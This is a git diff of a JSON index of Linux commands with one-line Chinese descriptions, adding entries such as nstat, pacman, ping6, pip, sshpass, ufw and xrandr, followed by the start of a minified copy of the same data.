@@ -1617,7 +1702,7 @@
"nc": {
"n": "nc",
"p": "/nc",
- "d": "用于设置路由器,是网络工具中的瑞士军刀。"
+ "d": "nc是网络工具中的瑞士军刀"
},
"ncftp": {
"n": "ncftp",
@@ -1704,6 +1789,11 @@
"p": "/nslookup",
"d": "查询域名DNS信息的工具"
},
+ "nstat": {
+ "n": "nstat",
+ "p": "/nstat",
+ "d": "nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。"
+ },
"ntpdate": {
"n": "ntpdate",
"p": "/ntpdate",
@@ -1729,6 +1819,11 @@
"p": "/openssl",
"d": "强大的安全套接字层密码库"
},
+ "pacman": {
+ "n": "pacman",
+ "p": "/pacman",
+ "d": "Arch Linux 系统及其衍生系统中默认使用的包管理器"
+ },
"parted": {
"n": "parted",
"p": "/parted",
@@ -1802,7 +1897,22 @@
"ping": {
"n": "ping",
"p": "/ping",
- "d": "测试主机之间网络的连通性"
+ "d": "测试主机之间网络的连通性(ipv4)"
+ },
+ "ping6": {
+ "n": "ping6",
+ "p": "/ping6",
+ "d": "测试主机之间网络的连通性(ipv6)"
+ },
+ "pip": {
+ "n": "pip",
+ "p": "/pip",
+ "d": "Python 编程语言中的包管理器,用于安装和管理第三方 Python 模块"
+ },
+ "pkexec": {
+ "n": "pkexec",
+ "p": "/pkexec",
+ "d": "以其他用户身份执行命令"
},
"pkill": {
"n": "pkill",
@@ -1844,6 +1954,11 @@
"p": "/protoize",
"d": "GNU-C代码转换为ANSI-C代码"
},
+ "prtstat": {
+ "n": "prtstat",
+ "p": "/prtstat",
+ "d": "显示进程信息"
+ },
"ps": {
"n": "ps",
"p": "/ps",
@@ -1924,6 +2039,11 @@
"p": "/pwd",
"d": "显示当前工作目录的绝对路径。"
},
+ "pwdx": {
+ "n": "pwdx",
+ "p": "/pwdx",
+ "d": "用于显示指定进程的当前工作目录"
+ },
"pwunconv": {
"n": "pwunconv",
"p": "/pwunconv",
@@ -1994,6 +2114,11 @@
"p": "/renice",
"d": "修改正在运行的进程的调度优先级"
},
+ "reposync": {
+ "n": "reposync",
+ "p": "/reposync",
+ "d": "同步yum存储库到本地目录"
+ },
"repquota": {
"n": "repquota",
"p": "/repquota",
@@ -2204,6 +2329,11 @@
"p": "/sh",
"d": "shell命令解释器"
},
+ "sha256sum": {
+ "n": "sha256sum",
+ "p": "/sha256sum",
+ "d": "用于计算文件的 SHA-256 哈希值"
+ },
"shift": {
"n": "shift",
"p": "/shift",
@@ -2249,6 +2379,11 @@
"p": "/slocate",
"d": "命令查找文件或目录"
},
+ "smartmontools": {
+ "n": "smartmontools",
+ "p": "/smartmontools",
+ "d": "Smartmontools 是一种硬盘检测工具,通过控制和管理硬盘的SMART(Self Monitoring Analysis and Reporting Technology,自动检测分析及报告技术)技术来实现的"
+ },
"smbclient": {
"n": "smbclient",
"p": "/smbclient",
@@ -2264,6 +2399,11 @@
"p": "/sort",
"d": "对文本文件中所有行进行排序。"
},
+ "sosreport": {
+ "n": "sosreport",
+ "p": "/sosreport",
+ "d": "收集系统配置和诊断信息"
+ },
"source": {
"n": "source",
"p": "/source",
@@ -2334,6 +2474,11 @@
"p": "/sshd",
"d": "openssh软件套件中的服务器守护进程"
},
+ "sshpass": {
+ "n": "sshpass",
+ "p": "/sshpass",
+ "d": "免交互 SSH 登录工具。"
+ },
"startx": {
"n": "startx",
"p": "/startx",
@@ -2452,7 +2597,7 @@
"tcpreplay": {
"n": "tcpreplay",
"p": "/tcpreplay",
- "d": "将PCAP包重新发送,用于性能或者功能测试"
+ "d": "将保存在 PCAP 文件包重新发送,用于性能或者功能测试"
},
"tee": {
"n": "tee",
@@ -2564,6 +2709,11 @@
"p": "/type",
"d": "显示指定命令的类型。"
},
+ "ufw": {
+ "n": "ufw",
+ "p": "/ufw",
+ "d": " ubuntu防火墙管理工具"
+ },
"ulimit": {
"n": "ulimit",
"p": "/ulimit",
@@ -2849,6 +2999,11 @@
"p": "/xlsfonts",
"d": "列出X Server使用的字体"
},
+ "xrandr": {
+ "n": "xrandr",
+ "p": "/xrandr",
+ "d": "X 窗口系统配置管理工具"
+ },
"xset": {
"n": "xset",
"p": "/xset",
diff --git a/dist/data.min.json b/dist/data.min.json
index 2d87ddd015d..548937507f1 100644
--- a/dist/data.min.json
+++ b/dist/data.min.json
@@ -1 +1 @@
-{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。用 7-Zip 解压过:zip、iso、7z压缩文件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件,或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for,while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象(文件)的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环,继续执行下一个for,while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量,设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件,跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式,是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令,用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志,是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器,执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环(loop)设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 